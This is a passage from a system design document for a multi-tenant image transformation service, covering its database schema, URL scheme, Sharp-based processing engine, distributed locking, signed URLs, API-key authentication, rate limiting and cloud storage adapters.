    updated_at TIMESTAMPTZ DEFAULT NOW(),

    UNIQUE(scope_type, scope_id, key),
    CONSTRAINT valid_scope_type CHECK (scope_type IN ('organization', 'tenant', 'space'))
);

-- API Keys for authentication
CREATE TABLE api_keys (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    organization_id UUID NOT NULL REFERENCES organizations(id) ON DELETE CASCADE,
    tenant_id UUID REFERENCES tenants(id) ON DELETE CASCADE,

    -- Key identity
    key_id VARCHAR(50) UNIQUE NOT NULL, -- kid for rotation
    name VARCHAR(255) NOT NULL,
    secret_hash VARCHAR(255) NOT NULL, -- bcrypt/argon2

    -- Permissions
    scopes TEXT[] DEFAULT ARRAY['image:read']::TEXT[],

    -- Status
    status VARCHAR(20) DEFAULT 'active',
    expires_at TIMESTAMPTZ NULL,
    last_used_at TIMESTAMPTZ NULL,

    -- Metadata
    created_at TIMESTAMPTZ DEFAULT NOW(),
    rotated_at TIMESTAMPTZ NULL
);

-- Assets (Original uploaded images)
CREATE TABLE assets (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    organization_id UUID NOT NULL REFERENCES organizations(id) ON DELETE CASCADE,
    tenant_id UUID NOT NULL REFERENCES tenants(id) ON DELETE CASCADE,
    space_id UUID NOT NULL REFERENCES spaces(id) ON DELETE CASCADE,

    -- Versioning
    version INTEGER NOT NULL DEFAULT 1,

    -- File info
    filename VARCHAR(500) NOT NULL,
    original_filename VARCHAR(500) NOT NULL,
    mime_type VARCHAR(100) NOT NULL,

    -- Storage
    storage_provider VARCHAR(50) NOT NULL, -- 'aws', 'gcp', 'azure', 'minio'
    storage_key VARCHAR(1000) NOT NULL UNIQUE,

    -- Content
    size_bytes BIGINT NOT NULL,
    content_hash VARCHAR(64) NOT NULL, -- SHA-256 for deduplication

    -- Image metadata
    width INTEGER,
    height INTEGER,
    format VARCHAR(10),
    color_space VARCHAR(20),
    has_alpha BOOLEAN,

    -- Organization
    tags TEXT[] DEFAULT ARRAY[]::TEXT[],
    folder VARCHAR(1000) DEFAULT '/',

    -- Access control
    access_policy VARCHAR(20) NOT NULL DEFAULT 'private',

    -- EXIF and metadata
    exif JSONB,

    -- Upload info
    uploaded_by UUID, -- Reference to user
    uploaded_at TIMESTAMPTZ DEFAULT NOW(),

    -- Metadata
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW(),
    deleted_at TIMESTAMPTZ NULL,

    CONSTRAINT valid_access_policy CHECK (access_policy IN ('public', 'private'))
);

-- Transformation Presets (Named transformation templates)
CREATE TABLE presets (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    organization_id UUID NOT NULL REFERENCES organizations(id) ON DELETE CASCADE,
    tenant_id UUID REFERENCES tenants(id) ON DELETE CASCADE,
    space_id UUID REFERENCES spaces(id) ON DELETE CASCADE,

    -- Preset identity
    name VARCHAR(100) NOT NULL,
    slug VARCHAR(100) NOT NULL,
    description TEXT,

    -- Transformation definition
    operations JSONB NOT NULL,
    /*
    Example:
    {
        "resize": {"width": 800, "height": 600, "fit": "cover"},
        "format": "webp",
        "quality": 85,
        "sharpen": 1
    }
    */

    -- Auto-generation rules
    auto_generate BOOLEAN DEFAULT false,
    match_tags TEXT[] DEFAULT NULL,
    match_folders TEXT[] DEFAULT NULL,

    -- Metadata
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW(),

    UNIQUE(organization_id, tenant_id, space_id, slug)
);

-- Derived Assets (Transformed images)
CREATE TABLE derived_assets (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    asset_id UUID NOT NULL REFERENCES assets(id) ON DELETE CASCADE,

    -- Transformation identity
    operations_canonical VARCHAR(500) NOT NULL, -- Canonical string representation
    operations_hash VARCHAR(64) NOT NULL, -- SHA-256 of (canonical_ops + asset.content_hash)

    -- Output
    output_format VARCHAR(10) NOT NULL,

    -- Storage
    storage_provider VARCHAR(50) NOT NULL,
    storage_key VARCHAR(1000) NOT NULL UNIQUE,

    -- Content
    size_bytes BIGINT NOT NULL,
    content_hash VARCHAR(64) NOT NULL,

    -- Image metadata
    width INTEGER,
    height INTEGER,

    -- Performance tracking
    processing_time_ms INTEGER,
    access_count BIGINT DEFAULT 0,
    last_accessed_at TIMESTAMPTZ,

    -- Cache tier for lifecycle
    cache_tier VARCHAR(20) DEFAULT 'hot', -- 'hot', 'warm', 'cold'

    -- Metadata
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW(),

    UNIQUE(asset_id, operations_hash)
);

-- Transform Cache (Fast lookup for existing transforms)
CREATE TABLE transform_cache (
    asset_id UUID NOT NULL REFERENCES assets(id) ON DELETE CASCADE,
    operations_hash VARCHAR(64) NOT NULL,
    derived_asset_id UUID NOT NULL REFERENCES derived_assets(id) ON DELETE CASCADE,

    -- Metadata
    created_at TIMESTAMPTZ DEFAULT NOW(),

    PRIMARY KEY(asset_id, operations_hash)
);

-- Usage tracking (for cost and analytics)
CREATE TABLE usage_metrics (
    id BIGSERIAL PRIMARY KEY,
    date DATE NOT NULL,
    organization_id UUID NOT NULL,
    tenant_id UUID NOT NULL,
    space_id UUID NOT NULL,

    -- Metrics
    request_count BIGINT DEFAULT 0,
    bandwidth_bytes BIGINT DEFAULT 0,
    storage_bytes BIGINT DEFAULT 0,
    transform_count BIGINT DEFAULT 0,
    transform_cpu_ms BIGINT DEFAULT 0,

    UNIQUE(date, organization_id, tenant_id, space_id)
);

-- Audit logs
CREATE TABLE audit_logs (
    id BIGSERIAL PRIMARY KEY,
    organization_id UUID NOT NULL,
    tenant_id UUID,

    -- Actor
    actor_type VARCHAR(20) NOT NULL, -- 'user', 'api_key', 'system'
    actor_id UUID NOT NULL,

    -- Action
    action VARCHAR(100) NOT NULL, -- 'asset.upload', 'asset.delete', etc.
    resource_type VARCHAR(50) NOT NULL,
    resource_id UUID,

    -- Context
    metadata JSONB,
    ip_address INET,
    user_agent TEXT,

    -- Timestamp
    created_at TIMESTAMPTZ DEFAULT NOW()
);

-- Indexes for performance
CREATE INDEX idx_tenants_org ON tenants(organization_id);
CREATE INDEX idx_spaces_tenant ON spaces(tenant_id);
CREATE INDEX idx_spaces_org ON spaces(organization_id);
CREATE INDEX idx_policies_scope ON policies(scope_type, scope_id);

CREATE INDEX idx_assets_space ON assets(space_id) WHERE deleted_at IS NULL;
CREATE INDEX idx_assets_org ON assets(organization_id) WHERE deleted_at IS NULL;
CREATE INDEX idx_assets_hash ON assets(content_hash);
CREATE INDEX idx_assets_tags ON assets USING GIN(tags);
CREATE INDEX idx_assets_folder ON assets(folder);

CREATE INDEX idx_derived_asset ON derived_assets(asset_id);
CREATE INDEX idx_derived_hash ON derived_assets(operations_hash);
CREATE INDEX idx_derived_tier ON derived_assets(cache_tier);
CREATE INDEX idx_derived_access ON derived_assets(last_accessed_at);

CREATE INDEX idx_usage_date_org ON usage_metrics(date, organization_id);
CREATE INDEX idx_audit_org_time ON audit_logs(organization_id, created_at);
```

---

## URL Design

### URL Structure Philosophy

URLs should be:

1. **Self-describing**: Clearly indicate access mode (public vs private)
2. **Cacheable**: CDN-friendly with stable cache keys
3. **Deterministic**: Same transformation = same URL
4. **Human-readable**: Easy to understand and debug

### URL Patterns

#### Public Images

```
Format:
https://{cdn-domain}/v1/pub/{org}/{tenant}/{space}/img/{asset-id}/v{version}/{operations}.{ext}

Examples:
- Original:
  https://img.example.com/v1/pub/acme/website/marketing/img/01JBXYZ.../v1/original.jpg

- Resized:
  https://img.example.com/v1/pub/acme/website/marketing/img/01JBXYZ.../v1/w_800-h_600-f_cover.webp

- With preset:
  https://img.example.com/v1/pub/acme/website/marketing/img/01JBXYZ.../v1/preset_thumbnail.webp

- Format auto-negotiation:
  https://img.example.com/v1/pub/acme/website/marketing/img/01JBXYZ.../v1/w_1200-f_auto-q_auto.jpg
```

#### Private Images (Base URL)

```
Format:
https://{cdn-domain}/v1/priv/{org}/{tenant}/{space}/img/{asset-id}/v{version}/{operations}.{ext}

Example:
https://img.example.com/v1/priv/acme/internal/confidential/img/01JBXYZ.../v1/w_800-h_600.jpg
```

#### Private Images (Signed URL)

```
Format:
{base-url}?sig={signature}&exp={unix-timestamp}&kid={key-id}

Example:
https://img.example.com/v1/priv/acme/internal/confidential/img/01JBXYZ.../v1/w_800-h_600.jpg?sig=dGVzdHNpZ25hdHVyZQ&exp=1731427200&kid=key_123

Components:
- sig: Base64URL-encoded HMAC-SHA256 signature
- exp: Unix timestamp (seconds) when URL expires
- kid: Key ID for signature rotation support
```

### Transformation Parameters

Operations are encoded as hyphen-separated key-value pairs:

```
Parameter Format: {key}_{value}

Supported Parameters:
- w_{pixels}         : Width (e.g., w_800)
- h_{pixels}         : Height (e.g., h_600)
- f_{mode}           : Fit mode - cover, contain, fill, inside, outside, pad
- q_{quality}        : Quality 1-100 or 'auto' (e.g., q_85)
- fmt_{format}       : Format - jpg, png, webp, avif, gif, 'auto'
- r_{degrees}        : Rotation - 90, 180, 270
- g_{gravity}        : Crop gravity - center, north, south, east, west, etc.
- b_{color}          : Background color for pad (e.g., b_ffffff)
- blur_{radius}      : Blur radius 0.3-1000 (e.g., blur_5)
- sharpen_{amount}   : Sharpen amount 0-10 (e.g., sharpen_2)
- bw                 : Convert to black & white (grayscale)
- flip               : Flip horizontal
- flop               : Flip vertical
- preset_{name}      : Apply named preset

Examples:
- w_800-h_600-f_cover-q_85
- w_400-h_400-f_contain-fmt_webp
- preset_thumbnail
- w_1200-sharpen_2-fmt_webp-q_90
- w_800-h_600-f_pad-b_ffffff
```

### Operation Canonicalization

To ensure cache hit consistency, operations must be canonicalized:

```javascript title="canonicalize-operations.js"
/**
 * Canonicalizes transformation operations to ensure consistent cache keys
 */
function canonicalizeOperations(opsString) {
  const ops = parseOperations(opsString)

  // Apply defaults
  if (!ops.quality && ops.format !== "png") ops.quality = 85
  if (!ops.fit && (ops.width || ops.height)) ops.fit = "cover"

  // Normalize values
  if (ops.quality) ops.quality = Math.max(1, Math.min(100, ops.quality))
  if (ops.width) ops.width = Math.floor(ops.width)
  if (ops.height) ops.height = Math.floor(ops.height)

  // Canonical order: fmt, w, h, f, g, b, q, r, sharpen, blur, bw, flip, flop
  const order = ["fmt", "w", "h", "f", "g", "b", "q", "r", "sharpen", "blur", "bw", "flip", "flop"]

  return order
    .filter((key) => ops[key] !== undefined)
    .map((key) => `${key}_${ops[key]}`)
    .join("-")
}
```

---

## Core Request Flows

### Upload Flow with Auto-Presets

![Diagram](./diagram-4.svg)

### Synchronous Transform Flow (Guaranteed 200)

![Diagram](./diagram-5.svg)

---

## Image Processing Pipeline

### Processing Implementation

```javascript title="transform-engine.js" collapse={1-17}
import sharp from "sharp"
import crypto from "crypto"

/**
 * Transform Engine - Core image processing service
 */
class TransformEngine {
  constructor(storage, registry, cache, lockManager) {
    this.storage = storage
    this.registry = registry
    this.cache = cache
    this.lockManager = lockManager
  }

  /**
   * Process image transformation with deduplication
   */
  async transform(assetId, operations, acceptHeader) {
    // 1. Canonicalize operations
    const canonicalOps = this.canonicalizeOps(operations)
    const outputFormat = this.determineFormat(operations.format, acceptHeader)

    // 2. Generate transformation hash (content-addressed)
    const asset = await this.registry.getAsset(assetId)
    const opsHash = this.generateOpsHash(canonicalOps, asset.contentHash, outputFormat)

    // 3. Check multi-layer cache
    const cacheKey = `transform:${assetId}:${opsHash}`

    // Layer 1: Redis cache
    const cached = await this.cache.get(cacheKey)
    if (cached) {
      return {
        buffer: Buffer.from(cached.buffer, "base64"),
        contentType: cached.contentType,
        fromCache: "redis",
      }
    }

    // Layer 2: Database + Storage
    const derived = await this.registry.getDerivedAsset(assetId, opsHash)
    if (derived) {
      const buffer = await this.storage.get(derived.storageKey)

      // Populate Redis cache
      await this.cache.set(
        cacheKey,
        {
          buffer: buffer.toString("base64"),
          contentType: `image/${derived.outputFormat}`,
        },
        3600,
      ) // 1 hour TTL

      // Update access metrics
      await this.registry.incrementAccessCount(derived.id)

      return {
        buffer,
        contentType: `image/${derived.outputFormat}`,
        fromCache: "storage",
      }
    }

    // Layer 3: Process new transformation (with distributed locking)
    const lockKey = `lock:transform:${assetId}:${opsHash}`
    const lock = await this.lockManager.acquire(lockKey, 60000) // 60s TTL

    try {
      // Double-check after acquiring lock
      const doubleCheck = await this.registry.getDerivedAsset(assetId, opsHash)
      if (doubleCheck) {
        const buffer = await this.storage.get(doubleCheck.storageKey)
        return {
          buffer,
          contentType: `image/${doubleCheck.outputFormat}`,
          fromCache: "concurrent",
        }
      }

      // Process transformation
      const startTime = Date.now()

      // Fetch original
      const originalBuffer = await this.storage.get(asset.storageKey)

      // Apply transformations
      const processedBuffer = await this.applyTransformations(originalBuffer, canonicalOps, outputFormat)

      const processingTime = Date.now() - startTime

      // Get metadata of processed image
      const metadata = await sharp(processedBuffer).metadata()

      // Generate storage key
      const storageKey = `derived/${asset.organizationId}/${asset.tenantId}/${asset.spaceId}/${assetId}/v${asset.version}/${opsHash}.${outputFormat}`

      // Store processed image
      await this.storage.put(storageKey, processedBuffer, `image/${outputFormat}`)

      // Compute content hash
      const contentHash = crypto.createHash("sha256").update(processedBuffer).digest("hex")

      // Save to database
      const derivedAsset = await this.registry.createDerivedAsset({
        assetId,
        operationsCanonical: canonicalOps,
        operationsHash: opsHash,
        outputFormat,
        storageProvider: this.storage.provider,
        storageKey,
        sizeBytes: processedBuffer.length,
        contentHash,
        width: metadata.width,
        height: metadata.height,
        processingTimeMs: processingTime,
      })

      // Update transform cache index
      await this.registry.cacheTransform(assetId, opsHash, derivedAsset.id)

      // Populate Redis cache
      await this.cache.set(
        cacheKey,
        {
          buffer: processedBuffer.toString("base64"),
          contentType: `image/${outputFormat}`,
        },
        3600,
      )

      return {
        buffer: processedBuffer,
        contentType: `image/${outputFormat}`,
        fromCache: "none",
        processingTime,
      }
    } finally {
      await lock.release()
    }
  }

  /**
   * Apply transformations using Sharp
   */
  async applyTransformations(inputBuffer, operations, outputFormat) {
    let pipeline = sharp(inputBuffer)

    // Rotation
    if (operations.rotation) {
      pipeline = pipeline.rotate(operations.rotation)
    }

    // Flip/Flop
    if (operations.flip) {
      pipeline = pipeline.flip()
    }
    if (operations.flop) {
      pipeline = pipeline.flop()
    }

    // Resize
    if (operations.width || operations.height) {
      const resizeOptions = {
        width: operations.width,
        height: operations.height,
        fit: operations.fit || "cover",
        position: operations.gravity || "centre",
        withoutEnlargement: true,
      }

      // Background for 'pad' fit
      if (operations.fit === "pad" && operations.background) {
        resizeOptions.background = this.parseColor(operations.background)
      }

      pipeline = pipeline.resize(resizeOptions)
    }

    // Effects
    if (operations.blur) {
      pipeline = pipeline.blur(operations.blur)
    }

    if (operations.sharpen) {
      pipeline = pipeline.sharpen(operations.sharpen)
    }

    if (operations.grayscale) {
      pipeline = pipeline.grayscale()
    }

    // Format conversion and quality
    const quality = operations.quality === "auto" ? this.getAutoQuality(outputFormat) : operations.quality || 85

    switch (outputFormat) {
      case "jpg":
      case "jpeg":
        pipeline = pipeline.jpeg({
          quality,
          mozjpeg: true, // Better compression
        })
        break

      case "png":
        pipeline = pipeline.png({
          quality,
          compressionLevel: 9,
          adaptiveFiltering: true,
        })
        break

      case "webp":
        pipeline = pipeline.webp({
          quality,
          effort: 6, // Compression effort (0-6)
        })
        break

      case "avif":
        pipeline = pipeline.avif({
          quality,
          effort: 6,
        })
        break

      case "gif":
        pipeline = pipeline.gif()
        break
    }

    return await pipeline.toBuffer()
  }

  /**
   * Determine output format based on operations and Accept header
   *
   * Format selection priority (as of 2025):
   * - AVIF: 94.89% browser support, ~50% smaller than JPEG, 20-25% smaller than WebP
   * - WebP: 95.93% browser support, 25-34% smaller than JPEG
   * - JPEG: Universal fallback
   *
   * Note: JPEG XL gained Chrome support in Jan 2026 but adoption is still emerging.
   * Consider adding once browser support exceeds 80%.
   */
  determineFormat(requestedFormat, acceptHeader) {
    if (requestedFormat && requestedFormat !== "auto") {
      return requestedFormat
    }

    // Format negotiation based on Accept header
    const accept = (acceptHeader || "").toLowerCase()

    if (accept.includes("image/avif")) {
      return "avif" // Best compression: ~50% smaller than JPEG
    }

    if (accept.includes("image/webp")) {
      return "webp" // Good compression: 25-34% smaller than JPEG, slightly wider support
    }

    return "jpg" // Fallback
  }

  /**
   * Get automatic quality based on format
   *
   * Quality values are calibrated to produce visually similar output across formats.
   * AVIF and WebP compress more efficiently, so they need lower quality values
   * to achieve similar file sizes with equivalent visual quality.
   *
   * Real-world example (2000×2000 product photo):
   * - JPEG q=80: ~540 KB
   * - WebP q=85: ~350 KB (35% smaller)
   * - AVIF q=75 (CQ 28): ~210 KB (61% smaller)
   */
  getAutoQuality(format) {
    const qualityMap = {
      avif: 75, // AVIF compresses very well; q=75 ≈ JPEG q=85 visually
      webp: 80, // WebP compresses well; q=80 ≈ JPEG q=85 visually
      jpg: 85, // JPEG baseline quality
      jpeg: 85,
      png: 90, // PNG quality affects compression, not visual fidelity (lossless)
    }

    return qualityMap[format] || 85
  }

  /**
   * Generate deterministic hash for transformation
   */
  generateOpsHash(canonicalOps, assetContentHash, outputFormat) {
    const payload = `${canonicalOps};${assetContentHash};fmt=${outputFormat}`
    return crypto.createHash("sha256").update(payload).digest("hex")
  }

  /**
   * Parse color hex string to RGB object
   */
  parseColor(hex) {
    hex = hex.replace("#", "")
    return {
      r: parseInt(hex.substr(0, 2), 16),
      g: parseInt(hex.substr(2, 2), 16),
      b: parseInt(hex.substr(4, 2), 16),
    }
  }

  /**
   * Canonicalize operations
   */
  canonicalizeOps(ops) {
    // Implementation details...
    // Return canonical string like "w_800-h_600-f_cover-q_85-fmt_webp"
  }
}

export default TransformEngine
```

### Distributed Locking

```javascript title="lock-manager.js" collapse={1-18}
import Redlock from "redlock"
import Redis from "ioredis"

/**
 * Distributed lock manager using Redlock algorithm
 *
 * IMPORTANT: This lock manager is designed for EFFICIENCY optimization, not
 * CORRECTNESS guarantees. Redlock cannot provide fencing tokens, so:
 *
 * - SAFE: Preventing duplicate transforms (if lock fails, we waste compute but don't corrupt data)
 * - UNSAFE: Protecting financial transactions, inventory updates, or any operation where
 *   concurrent execution could cause data inconsistency
 *
 * For safety-critical mutual exclusion, use etcd (Raft consensus) or ZooKeeper (ZAB protocol).
 * See: https://martin.kleppmann.com/2016/02/08/how-to-do-distributed-locking.html
 */
class LockManager {
  constructor(redisClients) {
    // Initialize Redlock with multiple Redis instances (N=5 recommended for production)
    this.redlock = new Redlock(redisClients, {
      driftFactor: 0.01,
      retryCount: 10,
      retryDelay: 200,
      retryJitter: 200,
      automaticExtensionThreshold: 500,
    })
  }

  /**
   * Acquire distributed lock
   */
  async acquire(key, ttl = 30000) {
    try {
      const lock = await this.redlock.acquire([`lock:${key}`], ttl)
      return lock
    } catch (error) {
      throw new Error(`Failed to acquire lock for ${key}: ${error.message}`)
    }
  }

  /**
   * Try to acquire lock without waiting
   */
  async tryAcquire(key, ttl = 30000) {
    try {
      return await this.redlock.acquire([`lock:${key}`], ttl)
    } catch (error) {
      return null // Lock not acquired
    }
  }
}

// Usage
const redis1 = new Redis({ host: "redis-1" })
const redis2 = new Redis({ host: "redis-2" })
const redis3 = new Redis({ host: "redis-3" })

const lockManager = new LockManager([redis1, redis2, redis3])

export default LockManager
```

---

## Security & Access Control

### Signed URL Implementation

```javascript title="signature-service.js" collapse={1-7}
import crypto from "crypto"

/**
 * Signature Service - Generate and verify signed URLs
 */
class SignatureService {
  constructor(registry) {
    this.registry = registry
  }

  /**
   * Generate signed URL for private images
   */
  async generateSignedUrl(baseUrl, orgId, tenantId, ttl = null) {
    // Get signing key for tenant/org
    const apiKey = await this.registry.getSigningKey(orgId, tenantId)

    // Get effective policy for TTL
    const policy = await this.registry.getEffectivePolicy(orgId, tenantId)
    const defaultTtl = policy.signed_url_ttl_default_seconds || 3600
    const maxTtl = policy.signed_url_ttl_max_seconds || 86400

    // Calculate expiry
    const requestedTtl = ttl || defaultTtl
    const effectiveTtl = Math.min(requestedTtl, maxTtl)
    const expiresAt = Math.floor(Date.now() / 1000) + effectiveTtl

    // Create canonical string for signing
    const url = new URL(baseUrl)
    const canonicalString = this.createCanonicalString(url.pathname, expiresAt, url.hostname, tenantId)

    // Generate HMAC-SHA256 signature
    const signature = crypto.createHmac("sha256", apiKey.secret).update(canonicalString).digest("base64url") // URL-safe base64

    // Append signature, expiry, and key ID to URL
    url.searchParams.set("sig", signature)
    url.searchParams.set("exp", expiresAt.toString())
    url.searchParams.set("kid", apiKey.keyId)

    return {
      url: url.toString(),
      expiresAt: new Date(expiresAt * 1000),
      expiresIn: effectiveTtl,
    }
  }

  /**
   * Verify signed URL
   */
  async verifySignedUrl(signedUrl, orgId, tenantId) {
    const url = new URL(signedUrl)

    // Extract signature components
    const signature = url.searchParams.get("sig")
    const expiresAt = parseInt(url.searchParams.get("exp"))
    const keyId = url.searchParams.get("kid")

    if (!signature || !expiresAt || !keyId) {
      return {
        valid: false,
        error: "Missing signature components",
      }
    }

    // Check expiration
    const now = Math.floor(Date.now() / 1000)
    if (now > expiresAt) {
      return {
        valid: false,
        expired: true,
        error: "Signature expired",
      }
    }

    // Get signing key
    const apiKey = await this.registry.getApiKeyById(keyId)
    if (!apiKey || apiKey.status !== "active") {
      return {
        valid: false,
        error: "Invalid key ID",
      }
    }

    // Verify tenant/org ownership
    if (apiKey.organizationId !== orgId || apiKey.tenantId !== tenantId) {
      return {
        valid: false,
        error: "Key does not match tenant",
      }
    }

    // Reconstruct canonical string
    url.searchParams.delete("sig")
    url.searchParams.delete("exp")
    url.searchParams.delete("kid")

    const canonicalString = this.createCanonicalString(url.pathname, expiresAt, url.hostname, tenantId)

    // Compute expected signature
    const expectedSignature = crypto.createHmac("sha256", apiKey.secret).update(canonicalString).digest("base64url")

    // Constant-time comparison to prevent timing attacks
    const valid = crypto.timingSafeEqual(Buffer.from(signature), Buffer.from(expectedSignature))

    return {
      valid,
      error: valid ? null : "Invalid signature",
    }
  }

  /**
   * Create canonical string for signing
   */
  createCanonicalString(pathname, expiresAt, hostname, tenantId) {
    return ["GET", pathname, expiresAt, hostname, tenantId].join("\n")
  }

  /**
   * Rotate signing keys
   */
  async rotateSigningKey(orgId, tenantId) {
    // Generate new secret
    const newSecret = crypto.randomBytes(32).toString("hex")
    const newKeyId = `key_${Date.now()}_${crypto.randomBytes(8).toString("hex")}`

    // Create new key
    const newKey = await this.registry.createApiKey({
      organizationId: orgId,
      tenantId,
      keyId: newKeyId,
      name: `Signing Key (rotated ${new Date().toISOString()})`,
      secret: newSecret,
      scopes: ["signing"],
    })

    // Mark old keys for deprecation (keep valid for grace period)
    await this.registry.deprecateOldSigningKeys(orgId, tenantId, newKey.id)

    return newKey
  }
}

export default SignatureService
```

### Authentication Middleware

```javascript title="auth-middleware.js" collapse={1-5}
import crypto from "crypto"

/**
 * Authentication middleware for Fastify
 */
class AuthMiddleware {
  constructor(registry) {
    this.registry = registry
  }

  /**
   * API Key authentication
   */
  async authenticateApiKey(request, reply) {
    const apiKey = request.headers["x-api-key"]

    if (!apiKey) {
      return reply.code(401).send({
        error: "Unauthorized",
        message: "API key required",
      })
    }

    // Hash the API key
    const keyHash = crypto.createHash("sha256").update(apiKey).digest("hex")

    // Look up in database
    const keyRecord = await this.registry.getApiKeyByHash(keyHash)

    if (!keyRecord) {
      return reply.code(401).send({
        error: "Unauthorized",
        message: "Invalid API key",
      })
    }

    // Check status and expiration
    if (keyRecord.status !== "active") {
      return reply.code(401).send({
        error: "Unauthorized",
        message: "API key is inactive",
      })
    }

    if (keyRecord.expiresAt && new Date(keyRecord.expiresAt) < new Date()) {
      return reply.code(401).send({
        error: "Unauthorized",
        message: "API key has expired",
      })
    }

    // Update last used timestamp (async, don't wait)
    this.registry.updateApiKeyLastUsed(keyRecord.id).catch(console.error)

    // Attach to request context
    request.auth = {
      organizationId: keyRecord.organizationId,
      tenantId: keyRecord.tenantId,
      scopes: keyRecord.scopes,
      keyId: keyRecord.id,
    }
  }

  /**
   * Scope-based authorization
   */
  requireScope(scope) {
    return async (request, reply) => {
      if (!request.auth) {
        return reply.code(401).send({
          error: "Unauthorized",
          message: "Authentication required",
        })
      }

      if (!request.auth.scopes.includes(scope)) {
        return reply.code(403).send({
          error: "Forbidden",
          message: `Required scope: ${scope}`,
        })
      }
    }
  }

  /**
   * Tenant boundary check
   */
  async checkTenantAccess(request, reply, orgId, tenantId, spaceId) {
    if (!request.auth) {
      return reply.code(401).send({
        error: "Unauthorized",
      })
    }

    // Check organization match
    if (request.auth.organizationId !== orgId) {
      return reply.code(403).send({
        error: "Forbidden",
        message: "Access denied to this organization",
      })
    }

    // Check tenant match (if key is tenant-scoped)
    if (request.auth.tenantId && request.auth.tenantId !== tenantId) {
      return reply.code(403).send({
        error: "Forbidden",
        message: "Access denied to this tenant",
      })
    }

    return true
  }
}

export default AuthMiddleware
```

### Rate Limiting

```javascript title="rate-limiter.js" collapse={1-5}
import Redis from "ioredis"

/**
 * Rate limiter using sliding window algorithm
 */
class RateLimiter {
  constructor(redis) {
    this.redis = redis
  }

  /**
   * Check and enforce rate limit
   */
  async checkLimit(identifier, limit, windowSeconds) {
    const key = `ratelimit:${identifier}`
    const now = Date.now()
    const windowStart = now - windowSeconds * 1000

    // Use Redis pipeline for atomicity
    const pipeline = this.redis.pipeline()

    // Remove old entries outside the window
    pipeline.zremrangebyscore(key, "-inf", windowStart)

    // Count requests in current window
    pipeline.zcard(key)

    // Add current request
    const requestId = `${now}:${Math.random()}`
    pipeline.zadd(key, now, requestId)

    // Set expiry on key
    pipeline.expire(key, windowSeconds)

    const results = await pipeline.exec()
    const count = results[1][1] // Result of ZCARD

    const allowed = count < limit
    const remaining = Math.max(0, limit - count - 1)

    // Calculate reset time
    const oldestEntry = await this.redis.zrange(key, 0, 0, "WITHSCORES")
    const resetAt =
      oldestEntry.length > 0
        ? new Date(parseInt(oldestEntry[1]) + windowSeconds * 1000)
        : new Date(now + windowSeconds * 1000)

    return {
      allowed,
      limit,
      remaining,
      resetAt,
    }
  }

  /**
   * Rate limiting middleware for Fastify
   */
  middleware(getLimitConfig) {
    return async (request, reply) => {
      // Get limit configuration based on request context
      const { identifier, limit, window } = getLimitConfig(request)

      const result = await this.checkLimit(identifier, limit, window)

      // Set rate limit headers
      reply.header("X-RateLimit-Limit", result.limit)
      reply.header("X-RateLimit-Remaining", result.remaining)
      reply.header("X-RateLimit-Reset", result.resetAt.toISOString())

      if (!result.allowed) {
        return reply.code(429).send({
          error: "Too Many Requests",
          message: `Rate limit exceeded. Try again after ${result.resetAt.toISOString()}`,
          retryAfter: Math.ceil((result.resetAt.getTime() - Date.now()) / 1000),
        })
      }
    }
  }
}

// Usage example
const redis = new Redis()
const rateLimiter = new RateLimiter(redis)

// Apply to route
app.get(
  "/v1/pub/*",
  {
    preHandler: rateLimiter.middleware((request) => ({
      identifier: `org:${request.params.org}`,
      limit: 1000, // requests
      window: 60, // seconds
    })),
  },
  handler,
)

export default RateLimiter
```

---

## Deployment Architecture

### Kubernetes Deployment

![Diagram](./diagram-6.svg)

### Storage Abstraction Layer

```javascript title="storage-adapter.js" collapse={1-33}
/**
 * Abstract storage interface
 */
class StorageAdapter {
  async put(key, buffer, contentType, metadata = {}) {
    throw new Error("Not implemented")
  }

  async get(key) {
    throw new Error("Not implemented")
  }

  async delete(key) {
    throw new Error("Not implemented")
  }

  async exists(key) {
    throw new Error("Not implemented")
  }

  async getSignedUrl(key, ttl) {
    throw new Error("Not implemented")
  }

  get provider() {
    throw new Error("Not implemented")
  }
}

// AWS S3 Implementation (imports collapsed)
// import { S3Client, PutObjectCommand, GetObjectCommand, ... } from "@aws-sdk/client-s3"
// import { getSignedUrl } from "@aws-sdk/s3-request-presigner"

class S3StorageAdapter extends StorageAdapter {
  constructor(config) {
    super()
    this.client = new S3Client({
      region: config.region,
      credentials: config.credentials,
    })
    this.bucket = config.bucket
  }

  async put(key, buffer, contentType, metadata = {}) {
    const command = new PutObjectCommand({
      Bucket: this.bucket,
      Key: key,
      Body: buffer,
      ContentType: contentType,
      Metadata: metadata,
      ServerSideEncryption: "AES256",
    })

    await this.client.send(command)
  }

  async get(key) {
    const command = new GetObjectCommand({
      Bucket: this.bucket,
      Key: key,
    })

    const response = await this.client.send(command)
    const chunks = []

    for await (const chunk of response.Body) {
      chunks.push(chunk)
    }

    return Buffer.concat(chunks)
  }

  async delete(key) {
    const command = new DeleteObjectCommand({
      Bucket: this.bucket,
      Key: key,
    })

    await this.client.send(command)
  }

  async exists(key) {
    try {
      const command = new HeadObjectCommand({
        Bucket: this.bucket,
        Key: key,
      })

      await this.client.send(command)
      return true
    } catch (error) {
      if (error.name === "NotFound") {
        return false
      }
      throw error
    }
  }

  async getSignedUrl(key, ttl = 3600) {
    const command = new GetObjectCommand({
      Bucket: this.bucket,
      Key: key,
    })

    return await getSignedUrl(this.client, command, { expiresIn: ttl })
  }

  get provider() {
    return "aws"
  }
}

// Google Cloud Storage Implementation (imports collapsed)
// import { Storage } from "@google-cloud/storage"

class GCSStorageAdapter extends StorageAdapter {
  constructor(config) {
    super()
    this.storage = new Storage({
      projectId: config.projectId,
      credentials: config.credentials,
    })
    this.bucket = this.storage.bucket(config.bucket)
  }

  async put(key, buffer, contentType, metadata = {}) {
    const file = this.bucket.file(key)
    await file.save(buffer, {
      contentType,
      metadata,
      resumable: false,
    })
  }

  async get(key) {
    const file = this.bucket.file(key)
    const [contents] = await file.download()
    return contents
  }

  async delete(key) {
    const file = this.bucket.file(key)
    await file.delete()
  }

  async exists(key) {
    const file = this.bucket.file(key)
    const [exists] = await file.exists()
    return exists
  }

  async getSignedUrl(key, ttl = 3600) {
